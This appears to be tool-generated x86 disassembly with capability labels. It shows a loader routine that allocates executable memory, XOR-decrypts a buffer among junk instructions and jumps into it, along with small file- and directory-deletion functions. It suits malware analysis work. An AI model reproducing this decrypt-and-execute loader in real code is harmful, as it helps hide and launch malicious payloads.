lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x8028576d
sub eax, 0x7fe82741
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x374be
push 0
call eax
mov ecx, 0x4b43
mov edx, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x24]
mov esi, 0x59de137f
sub dword [ebp - 8], 0xf6f03b00
mov edi, dword [ebx]
mov dword [ebp - 0x18], 0xeb736883
xor edi, esi
add dword [ebp - 0x10], 0xc14951f6
mov dword [edx], edi
add dword [ebp - 8], 0xc98e44de
add edx, 4
add ebx, 0x33a0881b
add ebx, 0xcc5f77e9
loop 0x401d6c
add eax, 0x11fdf
xor ebx, ebx
add ebx, eax
add eax, 0x40f91b7f
add eax, 0xbf06e486
mov ecx, 0x87179f6d
add ecx, 0x79286093
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret